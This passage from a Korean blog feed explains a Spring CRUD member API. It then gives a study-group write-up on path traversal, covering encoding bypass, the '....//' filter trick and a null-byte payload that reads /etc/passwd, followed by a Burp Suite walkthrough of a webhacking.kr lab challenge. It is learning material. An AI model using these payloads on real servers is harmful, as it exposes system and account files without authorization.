&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1650&quot; data-origin-height=&quot;1416&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/clLOX5/dJMcaipKbUR/MVmAbRIO7AEnOH1KQBdrK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/clLOX5/dJMcaipKbUR/MVmAbRIO7AEnOH1KQBdrK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/clLOX5/dJMcaipKbUR/MVmAbRIO7AEnOH1KQBdrK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FclLOX5%2FdJMcaipKbUR%2FMVmAbRIO7AEnOH1KQBdrK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;471&quot; height=&quot;404&quot; data-origin-width=&quot;1650&quot; data-origin-height=&quot;1416&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;1. controller :&lt;span&gt; service에게 목록을 가져오라 명령. 결과물인 list를 json형태로 바꿔 응답&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;2. entity :&lt;span&gt; DB에서 꺼내온 수많은 데이터를 자바 객체(Member)형태로 담음&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;3. service :&lt;span&gt; repository가 가져온 데이터를 컨트롤러에게 전달(필요시 목록을 전달하거나 필터링하는 로직을 넣음)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. repository : findAll() 메서드를 통해 DB에 SELECT * 쿼리를 보내 모든 회원 정보를 가져옴&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;- 단건 조회 ( GET &amp;nbsp;http://localhost:8080/members/1 )&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1662&quot; data-origin-height=&quot;1348&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bybboQ/dJMcadu70OA/IDxgQdBiivAhTTmvq8PPhK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bybboQ/dJMcadu70OA/IDxgQdBiivAhTTmvq8PPhK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bybboQ/dJMcadu70OA/IDxgQdBiivAhTTmvq8PPhK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbybboQ%2FdJMcadu70OA%2FIDxgQdBiivAhTTmvq8PPhK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;484&quot; height=&quot;393&quot; data-origin-width=&quot;1662&quot; data-origin-height=&quot;1348&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. controller :&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt; URL 끝에 붙은 /1을 @PathVariable로 추출해 특정 id값을 service에 전달&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. entity :&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt; 찾으려는 딱 한명의 정보만 담은 객체가 됨&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. service :&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt; repository의 fiindById를 호출. 해당id가 없으면 회원 없음 같은 예외 처리 수행&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;4. repository :&lt;span&gt; DB에서 해당 id를 가진 행 하나만 가져옴&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;- 수정 ( PUT &amp;nbsp;http://localhost:8080/members/1 )&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1646&quot; data-origin-height=&quot;1360&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yEkeH/dJMcafmgqZV/tOuQKJ61d1bOvZFxo95wu0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yEkeH/dJMcafmgqZV/tOuQKJ61d1bOvZFxo95wu0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yEkeH/dJMcafmgqZV/tOuQKJ61d1bOvZFxo95wu0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyEkeH%2FdJMcafmgqZV%2FtOuQKJ61d1bOvZFxo95wu0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;498&quot; height=&quot;411&quot; data-origin-width=&quot;1646&quot; data-origin-height=&quot;1360&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. controller :&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt; PUT메서드와 수정할 데이터, 타겟 id(/1)를 동시에 받아 service에 넘김&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2. entity :&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt; 기존 데이터를 불러와서 새로운 값으로 덮어쓰기 당함&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3. service :&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt; 기존 데이터를 DB에서 꺼냄&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;-&amp;gt; 꺼낸 데이터에 새로운 값을 set&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;-&amp;gt; setModifiedBy(LocalDateTime.now())를 실행해 수정 시각 기록&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;4. repository :&lt;span&gt; 수정된 객체를 다시 DB에 반영&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;- 삭제 ( DELETE &amp;nbsp;http://localhost:8080/members/1 )&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1640&quot; data-origin-height=&quot;946&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rx8vu/dJMcaf0O4ad/8ls45ODZYSRkCee4I4Jdj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rx8vu/dJMcaf0O4ad/8ls45ODZYSRkCee4I4Jdj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rx8vu/dJMcaf0O4ad/8ls45ODZYSRkCee4I4Jdj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Frx8vu%2FdJMcaf0O4ad%2F8ls45ODZYSRkCee4I4Jdj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;499&quot; height=&quot;288&quot; data-origin-width=&quot;1640&quot; data-origin-height=&quot;946&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. controller :&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt; DELETE 신호를 받고 작업이 끝나면 사용자에게 '삭제 완료'라는 문자열 메시지 보냄&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2. entity :&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt; DB에서 영구적으로 지워질 대상&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3. service :&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt; repository의 deleteById를 호출해 삭제 명령&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;4. repository :&lt;span&gt; DB에 DELETE FROM ... 쿼리를 보내 해당 데이터를 삭제&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;</description>
      <category>SWLUG(2026)/유지보수</category>
      <author>batterygj</author>
      <guid isPermaLink="true">https://batterygj.tistory.com/75</guid>
      <comments>https://batterygj.tistory.com/75#entry75comment</comments>
      <pubDate>Sun, 10 May 2026 19:00:00 +0900</pubDate>
    </item>
    <item>
      <title>[4주차] Path Traversal</title>
      <link>https://batterygj.tistory.com/74</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;Path Traversal&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;:경로 탐색 = directory traversal&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 공격자가 웹 애플리케이션의 보안 메커니즘을 우회하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버의 파일 시스템 내에 의도되지 않은 파일이나 디렉토리에 접근하는 보안 취약점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-08 오전 11.43.45.png&quot; data-origin-width=&quot;720&quot; data-origin-height=&quot;364&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oUaR1/dJMcadhDIY1/ZqZyu0fOvgJSbxBYVk0K7K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oUaR1/dJMcadhDIY1/ZqZyu0fOvgJSbxBYVk0K7K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oUaR1/dJMcadhDIY1/ZqZyu0fOvgJSbxBYVk0K7K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoUaR1%2FdJMcadhDIY1%2FZqZyu0fOvgJSbxBYVk0K7K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;423&quot; height=&quot;214&quot; data-filename=&quot;스크린샷 2026-05-08 오전 11.43.45.png&quot; data-origin-width=&quot;720&quot; data-origin-height=&quot;364&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Path Traversal 3요소&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. Target : 외부 입력값이 파일 경로에 직접 포함되지 않는 지점(예시에서 user_input 같은 걸 말함)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(공격자가 노리는 코드상 취약한 로직. 서버가 user_input 자리에 들어오는 내용을 검증하지 않고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그대로 믿는다는 것이 공격의 핵심 타깃이 됨)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;=&amp;gt; base_path(파일 기본위치) &amp;nbsp;+ user_input(입력값) = final_path(전체 경로)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) /var/www/user_data/ + &quot;my_photo.jpg&quot; = /var/www/user_data/my_photo.jpg&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. Tool : 상위 디렉터리 이동 문자 (..) -&amp;gt; 상위로 올라갈수록 접근할 수 있는 범위 넓어짐&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. Result : 허가되지 않은 시스템 내부자원 노출&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 시스템 파일인 /etc/passwd(계정 정보), /etc/hosts(네트워크 정보) 등이 공격자에게 노출됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;Path Traversal &amp;nbsp;공격 기법&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 인코딩 우회&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에 &lt;span style=&quot;color: #006dd7;&quot;&gt;../&lt;/span&gt; 문자열을 차단하는 필터가 있을 때 이를 다른 문자로 변조하여 필터를 통과한 뒤, 서버 내부에서 다시 해석되게 만드는 기법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 필터링 로직 무력화&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발자가 단순히 사용자의 입력값에서 ../라는 글자를 찾아서 삭제하도록 코딩해쓸때 발생하는 취약점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 서버가 ../를 찾아 공백으로 지운다면, 공격자는 &lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;..&lt;/span&gt;&lt;/b&gt;../&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;/&lt;/span&gt;&lt;/b&gt;를 보냄&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 널 바이트 주입(Null Byte Injection)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버 코드 뒷부분에 강제로 특정 확장자( ex. .jpg )가 붙도록 설계된 경우, 그 뒷부분을 잘라내어 원하는 파일만 읽는 기법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) 널 바이트: %00 -&amp;gt; 컴퓨터가 %00 전까지만 인식하도록 함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) ?file=../../etx/passwd%00.jpg -&amp;gt; 컴퓨터에서는 ?file=../../etx/passwd 로 인식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;실습 &lt;a href=&quot;https://webhacking.kr/challenge/web-19/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://webhacking.kr/challenge/web-19/&lt;/a&gt;&lt;/h4&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. Burp Suite에서 intercept off 한채로 open browser 해서 위의 링크 접속&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-06 오후 11.42.03.png&quot; data-origin-width=&quot;932&quot; data-origin-height=&quot;418&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/daYCcH/dJMcahxzg15/iP5dx7Q6KKHIRdHgsv0BG1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/daYCcH/dJMcahxzg15/iP5dx7Q6KKHIRdHgsv0BG1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/daYCcH/dJMcahxzg15/iP5dx7Q6KKHIRdHgsv0BG1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdaYCcH%2FdJMcahxzg15%2FiP5dx7Q6KKHIRdHgsv0BG1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;497&quot; height=&quot;223&quot; data-filename=&quot;스크린샷 2026-05-06 오후 11.42.03.png&quot; data-origin-width=&quot;932&quot; data-origin-height=&quot;418&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. intercept on 하고 txt 파일 하나 업로드 ( 이 실습에서는 swlug.txt 파일 )&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-06 오후 11.43.43.png&quot; data-origin-width=&quot;1708&quot; data-origin-height=&quot;1244&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b6ikyV/dJMcabD6JuB/DmAUAraj6tGoZJqTI8RO0K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b6ikyV/dJMcabD6JuB/DmAUAraj6tGoZJqTI8RO0K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6ikyV/dJMcabD6JuB/DmAUAraj6tGoZJqTI8RO0K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb6ikyV%2FdJMcabD6JuB%2FDmAUAraj6tGoZJqTI8RO0K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;431&quot; height=&quot;314&quot; data-filename=&quot;스크린샷 2026-05-06 오후 11.43.43.png&quot; data-origin-width=&quot;1708&quot; data-origin-height=&quot;1244&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. Request에서 filename을 아주 길게 변경하고 forward&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-06 오후 11.43.27.png&quot; data-origin-width=&quot;2322&quot; data-origin-height=&quot;1612&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/s7ydn/dJMcahxzg3u/9No3bK5d2kXZOVg3asIv91/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/s7ydn/dJMcahxzg3u/9No3bK5d2kXZOVg3asIv91/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/s7ydn/dJMcahxzg3u/9No3bK5d2kXZOVg3asIv91/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fs7ydn%2FdJMcahxzg3u%2F9No3bK5d2kXZOVg3asIv91%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;461&quot; height=&quot;320&quot; data-filename=&quot;스크린샷 2026-05-06 오후 11.43.27.png&quot; data-origin-width=&quot;2322&quot; data-origin-height=&quot;1612&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. ./ 뒤부터 원래의 파일명인 swlug 바로앞까지 복사해서 url에 붙여넣고 빈 txt 파일 하나 선택한 후 .txt를 뗀 파일명만 url에 붙여넣음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 후 업로드 ( 이 실습에서는 flag.txt 파일 )&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-06 오후 11.44.29.png&quot; data-origin-width=&quot;1728&quot; data-origin-height=&quot;566&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjlykK/dJMcahRPPRY/sOJb9ycY7ggrZ8LHGcw4a0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjlykK/dJMcahRPPRY/sOJb9ycY7ggrZ8LHGcw4a0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjlykK/dJMcahRPPRY/sOJb9ycY7ggrZ8LHGcw4a0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjlykK%2FdJMcahRPPRY%2FsOJb9ycY7ggrZ8LHGcw4a0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;683&quot; height=&quot;224&quot; data-filename=&quot;스크린샷 2026-05-06 오후 11.44.29.png&quot; data-origin-width=&quot;1728&quot; data-origin-height=&quot;566&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. intercept off하면 FLAG가 뜸&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-06 오후 11.50.12.png&quot; data-origin-width=&quot;1698&quot; data-origin-height=&quot;300&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5WwG6/dJMcacbWrAq/4XzIrzjNtdoihDDyvDPg5K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5WwG6/dJMcacbWrAq/4XzIrzjNtdoihDDyvDPg5K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5WwG6/dJMcacbWrAq/4XzIrzjNtdoihDDyvDPg5K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5WwG6%2FdJMcacbWrAq%2F4XzIrzjNtdoihDDyvDPg5K%2Fimg.png&quot; onerror=&quot;this.onerror=null; 